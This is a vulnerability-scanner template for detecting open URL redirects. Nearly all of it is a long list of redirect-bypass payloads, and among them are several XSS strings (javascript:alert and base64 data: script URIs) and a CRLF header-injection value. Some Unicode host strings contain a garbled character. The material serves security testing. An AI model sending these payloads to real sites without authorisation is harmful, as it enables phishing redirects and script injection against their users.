open-redirect-plus.yaml

id: open-redirect-plus

info:
  name: Open URL redirect detection 
  author: afaq,melbadry9,Elmahdi,pxmme1337,Regala_,andirrahmani1,geeknik,brinhosa
  severity: low
  description: A user-controlled input redirects users to an external website.
  tags: redirect,generic

requests:
  - raw:
      - |
        GET /{{redirect}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      redirect:
        - '?page=example.com&_url=example.com&callback=example.com&checkout_url=example.com&content=example.com&continue=example.com&continueTo=example.com&counturl=example.com&data=example.com&dest=example.com&dest_url=example.com&dir=example.com&document=example.com&domain=example.com&done=example.com&download=example.com&feed=example.com&file=example.com&host=example.com&html=example.com&http=example.com&https=example.com&image=example.com&image_src=example.com&image_url=example.com&imageurl=example.com&include=example.com&langTo=example.com&media=example.com&navigation=example.com&next=example.com&open=example.com&out=example.com&page=example.com&page_url=example.com&pageurl=example.com&path=example.com&picture=example.com&port=example.com&proxy=example.com&redir=example.com&redirect=example.com&redirectUri=example.com&redirectUrl=example.com&reference=example.com&referrer=example.com&req=example.com&request=example.com&retUrl=example.com&return=example.com&returnTo=example.com&return_path=example.com&return_to=example.com&rurl=example.com&show=example.com&site=example.com&source=example.com&src=example.com&target=example.com&to=example.com&uri=example.com&url=example.com&val=example.com&validate=example.com&view=example.com&window=example.com&redirect_to=example.com&ret=example.com&r2=example.com&img=example.com&u=example.com&r=example.com&URL=example.com&AuthState=example.com'
        - '?goto=example.com&go_to=example.com'
        - '?next=example.com&url=example.com&target=example.com&rurl=example.com&dest=example.com&destination=example.com&redir=example.com&redirect_uri=example.com'
        - '?redirect_url=example.com&redirect=example.com/redirect/example.com/cgi-bin/redirect.cgi&example.com/out/example.com/out&example.com'
        - '?view=example.com/login&to=example.com&image_url=example.com&go=example.com&return=example.com&returnTo=example.com&return_to=example.com&checkout_url=example.com&continue=example.com&return_path=example.com'		
        - '%0a/example.com/'
        - '%0d/example.com/'
        - '%00/example.com/'
        - '%09/example.com/'
        - '%5C%5Cexample.com/%252e%252e%252f'
        - '%5Cexample.com'
        - '%5cexample.com/%2f%2e%2e'
        - '%5c{{RootURL}}example.com/%2f%2e%2e'
        - '../example.com'
        - '.example.com'
        - '/%5cexample.com'
        - '////\;@example.com'
        - '////example.com'
        - '///example.com'
        - '///example.com/%2f%2e%2e'
        - '///example.com@//'
        - '///{{RootURL}}example.com/%2f%2e%2e'
        - '//;@example.com'
        - '//\/example.com/'
        - '//\@example.com'
        - '//\example.com'
        - '//\texample.com/'
        - '//example.com/%2F..'
        - '//example.com//'
        - '//example.com@//'
        - '//example.com\texample.com/'
        - '//https://example.com@//'
        - '/<>//example.com'
        - '/\/\/example.com/'
        - '/\/example.com'
        - '/\example.com'
        - '/example.com'
        - '/example.com/%2F..'
        - '/example.com/'
        - '/example.com/..;/css'
        - '/https:example.com'
        - '/{{RootURL}}example.com/'
        - '/〱example.com'
        - '/〵example.com'
        - '/ゝexample.com'
        - '/ーexample.com'
        - '/ｰexample.com'
        - '<>//example.com'
        - '@example.com'
        - '@https://example.com'
        - '\/\/example.com/'
        - 'example%E3%80%82com'
        - 'example.com'
        - 'example.com/'
        - 'example.com//'
        - 'example.com;@'
        - 'https%3a%2f%2fexample.com%2f'
        - 'https:%0a%0dexample.com'
        - 'https://%0a%0dexample.com'
        - 'https://%09/example.com'
        - 'https://%2f%2f.example.com/'
        - 'https://%3F.example.com/'
        - 'https://%5c%5c.example.com/'
        - 'https://%5cexample.com@'
        - 'https://%23.example.com/'
        - 'https://.example.com'
        - 'https://////example.com'
        - 'https:///example.com'
        - 'https:///example.com/%2e%2e'
        - 'https:///example.com/%2f%2e%2e'
        - 'https:///example.com@example.com/%2e%2e'
        - 'https:///example.com@example.com/%2f%2e%2e'
        - 'https://:80#@example.com/'
        - 'https://:80?@example.com/'
        - 'https://:@\@example.com'
        - 'https://:@example.com\@example.com'
        - 'https://:@example.com\@WillBeReplaced.com'
        - 'https://;@example.com'
        - 'https://\texample.com/'
        - 'https://example.com/example.com'
        - 'https://example.com/https://example.com/'
        - 'https://www.\.example.com'
        - 'https:/\/\example.com'
        - 'https:/\example.com'
        - 'https:/example.com'
        - 'https:example.com'
        - '{{RootURL}}example.com'
        - '〱example.com'
        - '〵example.com'
        - 'ゝexample.com'
        - 'ーexample.com'
        - 'ｰexample.com'
        - '<>//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '/////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '///\;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '/〱Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '\/\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '〱Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ%00｡Ｐⓦ'
        - '%01https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '%01https://example.com'
        - '////%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '///%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////%09/example.com'
        - '///%09/example.com'
        - '//%09/example.com'
        - '/%09/example.com'
        - '/%09/javascript:alert(1);'
        - '/%09/javascript:alert(1)'
        - '////%09/{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '///%09/{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//%09/{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/%09/{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////%09/{{Hostname}}@example.com'
        - '///%09/{{Hostname}}@example.com'
        - '//%09/{{Hostname}}@example.com'
        - '/%09/{{Hostname}}@example.com'
        - '&%0d%0a1Location:https://example.com'
        - '\152\141\166\141\163\143\162\151\160\164\072alert(1)'
        - '%19Jav%09asc%09ript:https%20://{{Hostname}}/%250Aconfirm%25281%2529'
        - '////216.58.214.206'
        - '///216.58.214.206'
        - '//216.58.214.206'
        - '/\216.58.214.206'
        - '/216.58.214.206'
        - '216.58.214.206'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '%2f216.58.214.206//'
        - '%2f216.58.214.206'
        - '%2f216.58.214.206%2f%2f'
        - '////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '//%2f%2fⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/%2f%2fⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '%2f$2f216.58.214.206'
        - '$2f%2f216.58.214.206%2f%2f'
        - '%2f$2f3627734734'
        - '$2f%2f3627734734%2f%2f'
        - '//%2f%2fexample.com'
        - '/%2f%2fexample.com'
        - '$2f%2fexample.com'
        - '%2f$2fexample.com'
        - '$2f%2fexample.com%2f%2f'
        - '%2f3627734734//'
        - '%2f3627734734'
        - '%2f3627734734%2f%2f'
        - '/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/'
        - '/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/'
        - '%2fexample.com//'
        - '%2fexample.com'
        - '%2fexample.com%2f%2f'
        - '////3627734734'
        - '///3627734734'
        - '//3627734734'
        - '/\3627734734'
        - '/3627734734'
        - '3627734734'
        - '//3H6k7lIAiqjfNeN@{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//3H6k7lIAiqjfNeN@{{Hostname}}+@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '//3H6k7lIAiqjfNeN@{{Hostname}}@example.com/'
        - '//3H6k7lIAiqjfNeN@{{Hostname}}+@example.com/'
        - '////%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '///%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////%5cexample.com'
        - '///%5cexample.com'
        - '//%5cexample.com'
        - '//%5cjavascript:alert(1);'
        - '//%5cjavascript:alert(1)'
        - '/%5cjavascript:alert(1);'
        - '/%5cjavascript:alert(1)'
        - '////%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '///%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '////%5c{{Hostname}}@example.com'
        - '///%5c{{Hostname}}@example.com'
        - '//%5c{{Hostname}}@example.com'
        - '/%5c{{Hostname}}@example.com'
        - '/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d'
        - '%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d'
        - '%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80?@{{Hostname}}/'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@{{Hostname}}/'
        - '";alert(0);//'
        - 'data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4='
        - 'data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg=='
        - 'data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='
        - 'data:{{Hostname}};text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>'
        - '//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ%E3%80%82pw'
        - '//google%00.com'
        - '/\google%252ecom'
        - 'google%252ecom'
        - '///;@example.com'
        - '/////example.com/'
        - '/////example.com'
        - '////example.com//'
        - '////example.com/'
        - '///\;@example.com'
        - '///example.com//'
        - '///example.com/'
        - '//example.com/'
        - '//example.com'
        - '/.example.com'
        - '/\/example.com/'
        - 'example.com%23@{{Hostname}}'
        - '////example.com/%2e%2e'
        - '///example.com/%2e%2e'
        - '//example.com/%2e%2e'
        - '/example.com/%2e%2e'
        - '//example.com/%2E%2E'
        - '////example.com/%2e%2e%2f'
        - '///example.com/%2e%2e%2f'
        - '//example.com/%2e%2e%2f'
        - '////example.com/%2f..'
        - '///example.com/%2f..'
        - '//example.com/%2f..'
        - '//example.com/%2F.. '
        - '/example.com/%2F.. '
        - '////example.com/%2f%2e%2e'
        - '//example.com/%2f%2e%2e'
        - '/example.com/%2f%2e%2e'
        - '//example.com//%2F%2E%2E'
        - '//example.com:80?@{{Hostname}}/'
        - '//example.com:80#@{{Hostname}}/'
        - 'example.com/.jpg'
        - '//example.com\t{{Hostname}}/'
        - '//example.com/{{Hostname}}'
        - '//example.com\@{{Hostname}}'
        - 'example.com/{{Hostname}}'
        - '//google%E3%80%82com'
        - '/http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/http:/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http://;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http://.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http:/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http:Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http://00330.00072.0000326.00000316'
        - 'http:00330.00072.0000326.00000316'
        - 'http://00330.0x3a.54990'
        - 'http:00330.0x3a.54990'
        - 'http://00330.3856078'
        - 'http:00330.3856078'
        - 'http://0330.072.0326.0316'
        - 'http:0330.072.0326.0316'
        - 'http:%0a%0dⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'http:%0a%0dexample.com'
        - 'http://0xd8.072.54990'
        - 'http:0xd8.072.54990'
        - 'http://0xd8.0x3a.0xd6.0xce'
        - 'http:0xd8.0x3a.0xd6.0xce'
        - 'http://0xd8.3856078'
        - 'http:0xd8.3856078'
        - 'http://0xd83ad6ce'
        - 'http:0xd83ad6ce'
        - 'http://[::216.58.214.206]'
        - 'http:[::216.58.214.206]'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%23.{{Hostname}}/'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%2f%2f.{{Hostname}}/'
        - 'http://3627734734'
        - 'http:3627734734'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%3F.{{Hostname}}/'
        - 'http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316'
        - 'http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316'
        - 'http://3H6k7lIAiqjfNeN@00330.0x3a.54990'
        - 'http:3H6k7lIAiqjfNeN@00330.0x3a.54990'
        - 'http://3H6k7lIAiqjfNeN@00330.3856078'
        - 'http:3H6k7lIAiqjfNeN@00330.3856078'
        - 'http://3H6k7lIAiqjfNeN@0330.072.0326.0316'
        - 'http:3H6k7lIAiqjfNeN@0330.072.0326.0316'
        - 'http://3H6k7lIAiqjfNeN@0xd8.072.54990'
        - 'http:3H6k7lIAiqjfNeN@0xd8.072.54990'
        - 'http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce'
        - 'http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce'
        - 'http://3H6k7lIAiqjfNeN@0xd8.3856078'
        - 'http:3H6k7lIAiqjfNeN@0xd8.3856078'
        - 'http://3H6k7lIAiqjfNeN@0xd83ad6ce'
        - 'http:3H6k7lIAiqjfNeN@0xd83ad6ce'
        - 'http://3H6k7lIAiqjfNeN@[::216.58.214.206]'
        - 'http:3H6k7lIAiqjfNeN@[::216.58.214.206]'
        - 'http://3H6k7lIAiqjfNeN@3627734734'
        - 'http:3H6k7lIAiqjfNeN@3627734734'
        - 'http://3H6k7lIAiqjfNeN@472.314.470.462'
        - 'http:3H6k7lIAiqjfNeN@472.314.470.462'
        - 'http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]'
        - 'http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]'
        - 'http://3H6k7lIAiqjfNeN@{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://3H6k7lIAiqjfNeN@{{Hostname}}+@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'http://3H6k7lIAiqjfNeN@{{Hostname}}@example.com/'
        - 'http://3H6k7lIAiqjfNeN@{{Hostname}}+@example.com/'
        - 'http://472.314.470.462'
        - 'http:472.314.470.462'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%5c%5c.{{Hostname}}/'
        - '/http://%67%6f%6f%67%6c%65%2e%63%6f%6d'
        - 'http://%67%6f%6f%67%6c%65%2e%63%6f%6d'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80?@{{Hostname}}/'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@{{Hostname}}/'
        - 'http://[::ffff:216.58.214.206]'
        - 'http:[::ffff:216.58.214.206]'
        - '/http://example.com'
        - '/http:/example.com'
        - 'http://;@example.com'
        - 'http://.example.com'
        - 'http://example.com'
        - 'http:/\/\example.com'
        - 'http:/example.com'
        - 'http:example.com'
        - 'http://example.com%23.{{Hostname}}/'
        - 'http://example.com%2f%2f.{{Hostname}}/'
        - 'http://example.com%3F.{{Hostname}}/'
        - 'http://example.com%5c%5c.{{Hostname}}/'
        - 'http://example.com:80?@{{Hostname}}/'
        - 'http://example.com:80#@{{Hostname}}/'
        - 'http://example.com\t{{Hostname}}/'
        - '//https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https:Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https://%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/https://%09/example.com'
        - 'https://%09/{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https://%09/{{Hostname}}@example.com'
        - 'https://%0a%0dⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '//https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - 'https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '//https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '/https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - 'https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '/https://%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/https:/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https:/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - '/https://%5cexample.com'
        - '/https:/%5cexample.com/'
        - 'https://%5cexample.com'
        - 'https:/%5cexample.com/'
        - '/https://%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https://%5c{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/https://%5c{{Hostname}}@example.com'
        - 'https://%5c{{Hostname}}@example.com'
        - 'https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77'
        - '//https://example.com//'
        - '/https://example.com//'
        - '/https://example.com/'
        - '/https://example.com'
        - 'https://example.com//'
        - 'https://example.com/'
        - 'https://example.com'
        - '//https:///example.com/%2e%2e'
        - '/https://example.com/%2e%2e'
        - '//https://example.com/%2e%2e%2f'
        - 'https://example.com/%2e%2e%2f'
        - '/https://example.com/%2f..'
        - 'https://example.com/%2f..'
        - '/https:///example.com/%2f%2e%2e'
        - '/https://example.com/%2f%2e%2e'
        - 'https://example.com/%2f%2e%2e'
        - 'https://:@example.com\@{{Hostname}}'
        - 'https://example.com?{{Hostname}}'
        - 'https://example.com/{{Hostname}}'
        - 'https://example.com\{{Hostname}}'
        - 'https://example.com#{{Hostname}}'
        - 'https://google%E3%80%82com'
        - '//https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - '/https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://:@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@{{Hostname}}'
        - 'https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/{{Hostname}}'
        - 'https://{{Hostname}};@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ'
        - '/https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - 'https:///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e'
        - '//https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f'
        - '/https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..'
        - '/https:///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '/https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - 'https:///{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - 'https://{{Hostname}}@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e'
        - '//https://{{Hostname}}@example.com//'
        - '/https://{{Hostname}}@example.com/'
        - 'https://{{Hostname}};@example.com'
        - 'https://{{Hostname}}.example.com'
        - 'https://{{Hostname}}@example.com//'
        - 'https://{{Hostname}}@example.com/'
        - 'https://{{Hostname}}@example.com'
        - '/https://{{Hostname}}@example.com/%2e%2e'
        - 'https:///{{Hostname}}@example.com/%2e%2e'
        - '//https://{{Hostname}}@example.com/%2e%2e%2f'
        - 'https://{{Hostname}}@example.com/%2e%2e%2f'
        - '/https://{{Hostname}}@example.com/%2f..'
        - 'https://{{Hostname}}@example.com/%2f..'
        - '/https:///{{Hostname}}@example.com/%2f%2e%2e'
        - '/https://{{Hostname}}@example.com/%2f%2e%2e'
        - 'https:///{{Hostname}}@example.com/%2f%2e%2e'
        - 'https://{{Hostname}}@example.com/%2f%2e%2e'
        - '/https://{{Hostname}}@example.com/%2f.//{{Hostname}}@example.com/%2f..'
        - 'https://{{Hostname}}/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/'
        - 'https://{{Hostname}}/https://example.com/'
        - '@https://www.example.com'
        - 'http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\t{{Hostname}}/'
        - 'http://{{Hostname}}@00330.00072.0000326.00000316'
        - 'http:{{Hostname}}@00330.00072.0000326.00000316'
        - 'http://{{Hostname}}@00330.0x3a.54990'
        - 'http:{{Hostname}}@00330.0x3a.54990'
        - 'http://{{Hostname}}@00330.3856078'
        - 'http:{{Hostname}}@00330.3856078'
        - 'http://{{Hostname}}@0330.072.0326.0316'
        - 'http:{{Hostname}}@0330.072.0326.0316'
        - 'http://{{Hostname}}@0xd8.072.54990'
        - 'http:{{Hostname}}@0xd8.072.54990'
